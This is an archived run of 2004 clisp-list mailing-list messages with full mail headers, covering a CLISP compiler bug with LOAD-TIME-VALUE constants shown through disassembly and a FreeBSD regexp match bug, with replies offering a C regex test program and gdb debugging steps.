sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CUvUG-0007uR-H0 for clisp-list@lists.sourceforge.net; Thu, 18 Nov 2004 15:14:48 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CUvUD-0000Xh-Rt for clisp-list@lists.sourceforge.net; Thu, 18 Nov 2004 15:14:48 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id iAIN8Dj25680 for clisp-list@lists.sourceforge.net; Thu, 18 Nov 2004 15:08:13 -0800 Message-Id: <200411182308.iAIN8Dj25680@isis.cs3-inc.com> X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) To: clisp-list@lists.sourceforge.net X-Spam-Score: 2.0 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] problem with compile in 2.33.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Nov 18 15:15:05 2004 X-Original-Date: Thu, 18 Nov 2004 15:08:13 -0800 I don't know whether this happens in later versions, it evidently did not happen in 2.31 I do (trace (compile :post-break-if (eql (car ext::*trace-args*) '|Test-INLINEREL|))) and continue to get past package lock. Then I start my build. It eventually breaks. The transcript is below. The disassembly of the broken compile I think is wrong. In particular the (const 0) is wrong. I then call compile on the same source and get what I think is correct. Why the difference and what can I do to fix it? 1. Trace: (COMMON-LISP:COMPILE '|Test-INLINEREL| '(LAMBDA (#:A30158) (WITHREADACCESS (LET ((#:G30159 #:A30158)) (LET ((CXVALUE (VALUEINCURRENTCX (THEAP5RELATION INLINEREL) #:G30159))) (COND ((NOT (EQ CXVALUE 'INHERIT)) CXVALUE) (T (NOT (NOT ((LAMBDA (REL &REST TUPLE) (FMEMB3 TUPLE (GETBASEDATA REL) #,(relationp 'INLINEREL))) (THEAP5RELATION INLINEREL) #:G30159)))))))))) Break 1 AP5[3]> (disassemble '|Test-INLINEREL|) Disassembly of function |Test-INLINEREL| (CONST 0) = NIL (CONST 1) = VALUEINCURRENTCX (CONST 2) = INHERIT (CONST 3) = # (CONST 4) = GETBASEDATA 1 required argument 0 optional arguments No rest parameter No keyword parameters 24 byte-code instructions: 0 (CONST&PUSH 0) ; NIL 1 (LOAD&PUSH 2) 2 (CALL2&PUSH 1) ; VALUEINCURRENTCX 4 (LOAD&PUSH 0) 5 (JMPIFNOTEQTO 2 L35) ; INHERIT 8 (NIL) 9 (MAKE-VECTOR1&PUSH 1) 11 (CONST&PUSH 0) ; NIL 12 (LOAD&PUSH 4) 13 (LIST 1) 15 (STOREC 1 0) 18 (LOAD&PUSH 1) 19 (COPY-CLOSURE&PUSH 3 1) ; # 22 (LOAD&PUSH 1) 23 (CALL1&PUSH 4) ; GETBASEDATA 25 (PUSH-UNBOUND 1) 27 (CALLS1 181) ; MEMBER-IF 29 (SKIP 2) 31 (NOT) 32 (NOT) 33 (SKIP&RET 3) 35 L35 35 (POP) 36 (SKIP&RET 2) NIL Break 1 AP5[3]> (compile 'g (cadr ext::*trace-args*)) 2. Trace: (COMMON-LISP:COMPILE 'G '(LAMBDA (#:A30158) (WITHREADACCESS (LET ((#:G30159 #:A30158)) (LET ((CXVALUE (VALUEINCURRENTCX (THEAP5RELATION INLINEREL) #:G30159))) (COND ((NOT (EQ CXVALUE 'INHERIT)) CXVALUE) (T (NOT (NOT ((LAMBDA (REL &REST TUPLE) (FMEMB3 TUPLE (GETBASEDATA REL) #,(relationp 'INLINEREL))) (THEAP5RELATION INLINEREL) #:G30159)))))))))) 2. Trace: COMMON-LISP:COMPILE ==> G, NIL, NIL G ; NIL ; NIL Break 1 AP5[3]> (disassemble 'g) Disassembly of function G (CONST 0) = #,(relationp 'INLINEREL) (CONST 1) = VALUEINCURRENTCX (CONST 2) = INHERIT (CONST 3) = # (CONST 4) = GETBASEDATA 1 required argument 0 optional arguments No rest parameter No keyword parameters 23 byte-code instructions: 0 (CONST&PUSH 0) ; #,(relationp 'INLINEREL) 1 (LOAD&PUSH 2) 2 (CALL2&PUSH 1) ; VALUEINCURRENTCX 4 (LOAD&PUSH 0) 5 (JMPIFNOTEQTO 2 L34) ; INHERIT 8 (NIL) 9 (MAKE-VECTOR1&PUSH 1) 11 (LOAD&PUSH 3) 12 (LIST 1) 14 (STOREC 0 0) 17 (LOAD&PUSH 0) 18 (COPY-CLOSURE&PUSH 3 1) ; # 21 (CONST&PUSH 0) ; #,(relationp 'INLINEREL) 22 (CALL1&PUSH 4) ; GETBASEDATA 24 (PUSH-UNBOUND 1) 26 (CALLS1 181) ; MEMBER-IF 28 (SKIP 1) 30 (NOT) 31 (NOT) 32 (SKIP&RET 3) 34 L34 34 (POP) 35 (SKIP&RET 2) NIL Break 1 AP5[3]> (g rel-adder) NIL Break 1 AP5[3]> (|Test-INLINEREL| rel-adder) *** - SYSTEM::%STRUCTURE-REF: NIL is not a structure of type DBOBJECT Break 2 AP5[4]> From Joerg-Cyril.Hoehle@t-systems.com Fri Nov 19 03:55:07 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CV7M2-0002Hi-Uf for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 03:55:06 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CV7M1-0001Os-LW for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 03:55:06 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 19 Nov 2004 12:54:42 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 19 Nov 2004 12:54:55 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030248B127@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-test-204@isis.cs3-inc.com Subject: Re: [clisp-list] problem with compile in 2.33.1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 03:56:01 2004 X-Original-Date: Fri, 19 Nov 2004 12:54:56 +0100 Hi Don, >and continue to get past package lock. >Then I start my build. It eventually breaks. >In particular the (const 0) [NIL] is wrong. Is it related to the package lock, i.e. does it still happen when you remove the package lock prior to compilation? This remembers me of a bug recently fixed: 2004-09-28 Sam Steingold package locking should not interfere with SETQ return value * control.d (SETQ): restore value1 after setq() * eval.d (setq): return value * lispbibl.d (setq): updated the declaration Reported by Jorg Hohle The bug report was as follows: [31]> (list (setq compiler::*coutput-stream* *standard-output*) 1) ** - Continuable Error SETQ(SYSTEM::*COUTPUT-STREAM*): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed The following restarts are also available: ABORT :R1 ABORT Break 1 [32]> continue (NIL 1) ^^^ this should have been the value of *Standard-output* Regards, Jorg Hohle From lisp-clisp-list@m.gmane.org Fri Nov 19 07:37:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVApH-0003sC-4C for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 07:37:31 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CVApG-0002yC-2I for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 07:37:31 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CVApD-0005HQ-00 for ; Fri, 19 Nov 2004 16:37:27 +0100 Received: from p5086de42.dip.t-dialin.net ([80.134.222.66]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 19 Nov 2004 16:37:27 +0100 Received: from cpohlmann01 by p5086de42.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 19 Nov 2004 16:37:27 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Christian Pohlmann Lines: 32 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p5086de42.dip.t-dialin.net User-Agent: Pan/0.14.2.91 (As She Crawled Across the Table) X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] problems w/ regexp on clisp 2.33.2 / freebsd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 07:38:07 2004 X-Original-Date: Fri, 19 Nov 2004 16:38:19 +0100 Hello, this time I searched many available clisp resources like the FAQ or the impnotes. Anyway, there seems to be a problem with your regexp module in version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it with regexp support and just tried out the example you mention in the impnotes. This is what I get for the first one: [1]> (regexp:match "quick" "The quick brown fox jumps quickly.") #S(REGEXP:MATCH :START 4 :END 0) [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8) #S(REGEXP:MATCH :START 26 :END 8) [3]> maybe this information is helpful: cp@kamino$ clisp -K full --version GNU CLISP 2.33.2 (2004-06-02) (built 3309862150) (memory 3309862414) Software: GNU C 3.4.2 [FreeBSD] 20040728 ANSI C program Features: (REGEXP CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE BASE-CHAR=CHARACTER UNIX) Installation directory: /usr/home/cp/usr/lib/clisp/ User language: ENGLISH Machine: I386 (I386) kamino.hom [192.168.0.2] I started using Edi Weitz's regexp package, but actually I want to use yours. From pascal@informatimago.com Fri Nov 19 08:05:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVBGB-000636-N0 for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:05:19 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CVBG6-0007H1-Og for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:05:19 -0800 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4FC14586E8; Fri, 19 Nov 2004 17:05:08 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D21FE4F12; Fri, 19 Nov 2004 17:05:07 +0100 (CET) Message-ID: <16798.6579.823861.736646@thalassa.informatimago.com> To: Christian Pohlmann Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] problems w/ regexp on clisp 2.33.2 / freebsd In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 08:06:04 2004 X-Original-Date: Fri, 19 Nov 2004 17:05:07 +0100 Christian Pohlmann writes: > Hello, > > this time I searched many available clisp resources like the FAQ or the > impnotes. Anyway, there seems to be a problem with your regexp module in > version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it > with regexp support and just tried out the example you mention in the > impnotes. This is what I get for the first one: > > [1]> (regexp:match "quick" "The quick brown fox jumps quickly.") > #S(REGEXP:MATCH :START 4 :END 0) > [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8) > #S(REGEXP:MATCH :START 26 :END 8) > [3]> > > > maybe this information is helpful: > cp@kamino$ clisp -K full --version > GNU CLISP 2.33.2 (2004-06-02) (built 3309862150) (memory 3309862414) > Software: GNU C 3.4.2 [FreeBSD] 20040728 ANSI C program > Features: > (REGEXP CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER > SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN UNICODE BASE-CHAR=CHARACTER > UNIX) > Installation directory: /usr/home/cp/usr/lib/clisp/ > User language: ENGLISH > Machine: I386 (I386) kamino.hom [192.168.0.2] > > > I started using Edi Weitz's regexp package, but actually I want to use > yours. There are bugged implementations of regex! Fetch gnu regex (from glibc) and compile it with clisp. See: http://sourceforge.net/mailarchive/message.php?msg_id=9272757 Use this c program to check your implementation of regex: #include #include #include int main(int argc,char** argv){ printf("%d\n",argc); if(argc==3){ regex_t* re=(regex_t*)malloc(sizeof(regex_t)); int status=regcomp(re,argv[1],0); if(status!=0){ char buf[128]; regerror(status,re,buf,sizeof(buf)); printf("regcomp error %s\n",buf); return(1); } { int i; regmatch_t* matches=(regmatch_t*)malloc((re->re_nsub+1) *sizeof(regmatch_t)); status=regexec(re,argv[2],re->re_nsub+1,matches,0); if(status!=0){ char buf[128]; regerror(status,re,buf,sizeof(buf)); printf("regexec error %s\n",buf); return(1); } for(i=0;i<=re->re_nsub;i++){ if((0<=matches[i].rm_so)&&(0<=matches[i].rm_eo)){ printf("match %2d: %2d %2d\n",i, matches[i].rm_so,matches[i].rm_eo); }}} }else{ printf("usage: %s pattern string\n",argv[0]); } return(0); } -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot; don't bother saving your artefacts. From sds@gnu.org Fri Nov 19 08:29:27 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVBdX-0007ci-2S for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:29:27 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CVBdU-0002s9-0r for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:29:26 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id iAJGTB7Q003431; Fri, 19 Nov 2004 11:29:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, Christian Pohlmann Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Christian Pohlmann's message of "Fri, 19 Nov 2004 16:38:19 +0100") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Christian Pohlmann Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: problems w/ regexp on clisp 2.33.2 / freebsd Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 08:30:12 2004 X-Original-Date: Fri, 19 Nov 2004 11:29:11 -0500 > * Christian Pohlmann [2004-11-19 16:38:19 +0100]: > > Hello, > > this time I searched many available clisp resources like the FAQ or the > impnotes. Anyway, there seems to be a problem with your regexp module in > version 2.33.2: I compiled it from scratch on my FreeBSD 5.3 box, ran it > with regexp support and just tried out the example you mention in the > impnotes. This is what I get for the first one: > > [1]> (regexp:match "quick" "The quick brown fox jumps quickly.") > #S(REGEXP:MATCH :START 4 :END 0) > [2]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8) > #S(REGEXP:MATCH :START 26 :END 8) > [3]> WFM (cygwin, linux): [1]> (regexp:match "quick" "The quick brown fox jumps quickly." :start 8) #S(REGEXP:MATCH :START 26 :END 31) [2]> (regexp:match "quick" "The quick brown fox jumps quickly.") #S(REGEXP:MATCH :START 4 :END 9) [3]> could you please debug this? $ ./configure --with-debug --with-module regexp --build build-g $ cd build-g $ gdb full/lisp.run (gdb) full (gdb) break C_subr_regexp_regexp_exec (gdb) run > (regexp:match "quick" "The quick brown fox jumps quickly.") (gdb) then step through the end and see whether ret[0].rm_eo is 0 and not 9 as it should be. if it is 0, file a bug report with your OS vendor. if it is 9, try to figure out why 0 is used. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Do not tell me what to do and I will not tell you where to go. From don-test-204@isis.cs3-inc.com Fri Nov 19 08:37:31 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CVBlK-0008LV-Up for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:37:30 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CVBlI-0005rT-1T for clisp-list@lists.sourceforge.net; Fri, 19 Nov 2004 08:37:30 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id iAJGUpO31575; Fri, 19 Nov 2004 08:30:51 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-test-204 using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-test-204@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16798.8122.933950.295840@isis.cs3-inc.com> cc: "Hoehle, Joerg-Cyril" to: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with compile in 2.33.1 In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030248B127@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A030248B127@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 2.3 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 1.1 REMOVE_REMOVAL_NEAR List removal information 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Nov 19 08:38:04 2004 X-Original-Date: Fri, 19 Nov 2004 08:30:50 -0800 Hoehle, Joerg-Cyril writes: > Hi Don, > > >and continue to get past package lock. > >Then I start my build. It eventually breaks. > >In particular the (const 0) [NIL] is wrong. > > Is it related to the package lock, i.e. does it still happen when > you remove the package lock prior to compilation? You mean unlock the lisp package before tracing compile instead of tracing compile and then typing continue? I haven't tried it but the problem does arise if I never trace compile at all. I traced compile only in order to show that (1) the first time compile was given this argument it produced one result and the next time it produced another one (2) there was no change of state between the two compiles, other than changes caused by the compile itself. Here's the result of some more experimentation, trying to produce a relatively small self contained example. This is not quite the same symptom but similar enough to suggest the same underlying problem. In this case the first compile looks more plausible than the second, since the second doesn't contain the load time value at all. ================ ./lisp.run -M ./lispinit.mem i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 [1]> (defstruct foo bar baz) FOO [2]> (defvar *relation-list* nil) *RELATION-LIST* [3]> (defun relationp-err (x) (or (loop for r in *relation-list* thereis (eql x (foo-bar r))) (car (push (make-foo :bar x) *relation-list*)))) RELATIONP-ERR [4]> (defvar defn ;; mexpand-all ;; remove #: ;; remove DECLARE SYSTEM::SOURCE ;; the dbobject => the foo '(LAMBDA (A30158) (LET ((G30159 A30158)) (LET ((CXVALUE (VALUEINCURRENTCX (THE foo (LOAD-TIME-VALUE (RELATIONP-ERR 'INLINEREL))) G30159))) (COND ((NOT (EQ CXVALUE 'INHERIT)) CXVALUE) (T (NOT (NOT ((LAMBDA (REL &REST TUPLE) (MEMBER-IF #'(LAMBDA (TPL) (LET ((TUP1 TUPLE) (TUP2 TPL)) (AND (EQL (PROG1 (CAR TUP1) (SETQ TUP1 (CDR TUP1))) (PROG1 (CAR TUP2) (SETQ TUP2 (CDR TUP2))))))) (GETBASEDATA REL))) (THE foo (LOAD-TIME-VALUE (RELATIONP-ERR 'INLINEREL))) G30159))))))))) DEFN [5]> (disassemble (compile 'g defn)) WARNING in G : Function VALUEINCURRENTCX is not defined WARNING in G : Function GETBASEDATA is not defined Disassembly of function G (CONST 0) = #S(FOO :BAR INLINEREL :BAZ NIL) (CONST 1) = VALUEINCURRENTCX (CONST 2) = INHERIT (CONST 3) = # (CONST 4) = GETBASEDATA 1 required argument 0 optional arguments No rest parameter No keyword parameters 23 byte-code instructions: 0 (CONST&PUSH 0) ; #S(FOO :BAR INLINEREL :BAZ NIL) 1 (LOAD&PUSH 2) 2 (CALL2&PUSH 1) ; VALUEINCURRENTCX 4 (LOAD&PUSH 0) 5 (JMPIFNOTEQTO 2 L34) ; INHERIT 8 (NIL) 9 (MAKE-VECTOR1&PUSH 1) 11 (LOAD&PUSH 3) 12 (LIST 1) 14 (STOREC 0 0) 17 (LOAD&PUSH 0) 18 (COPY-CLOSURE&PUSH 3 1) ; # 21 (T&PUSH) 22 (CALL1&PUSH 4) ; GETBASEDATA 24 (PUSH-UNBOUND 1) 26 (CALLS1 181) ; MEMBER-IF 28 (SKIP 1) 30 (NOT) 31 (NOT) 32 (SKIP&RET 3) 34 L34 34 (POP) 35 (SKIP&RET 2) NIL [6]> (disassemble (compile 'g defn)) WARNING in G : Function VALUEINCURRENTCX is not defined WARNING in G : Function GETBASEDATA is not defined Disassembly of function G (CONST 0) = VALUEINCURRENTCX (CONST 1) = INHERIT (CONST 2) = # (CONST 3) = GETBASEDATA 1 required argument 0 optional arguments No rest parameter No keyword parameters 23 byte-code instructions: 0 (T&PUSH) 1 (LOAD&PUSH 2) 2 (CALL2&PUSH 0) ; VALUEINCURRENTCX 4 (LOAD&PUSH 0) 5 (JMPIFNOTEQTO 1 L34) ; INHERIT 8 (NIL) 9 (MAKE-VECTOR1&PUSH 1) 11 (LOAD&PUSH 3) 12 (LIST 1) 14 (STOREC 0 0) 17 (LOAD&PUSH 0) 18 (COPY-CLOSURE&PUSH 2 1) ; # 21 (T&PUSH) 22 (CALL1&PUSH 3) ; GETBASEDATA 24 (PUSH-UNBOUND 1) 26 (CALLS1 181) ; MEMBER-IF 28 (SKIP 1) 30 (NOT) 31 (NOT) 32 (SKIP&RET 3) 34 L34 34 (POP) 35 (SKIP&RET 2) NIL [7]> From lisp-clisp-list@m.gmane.org Fri Nov 19 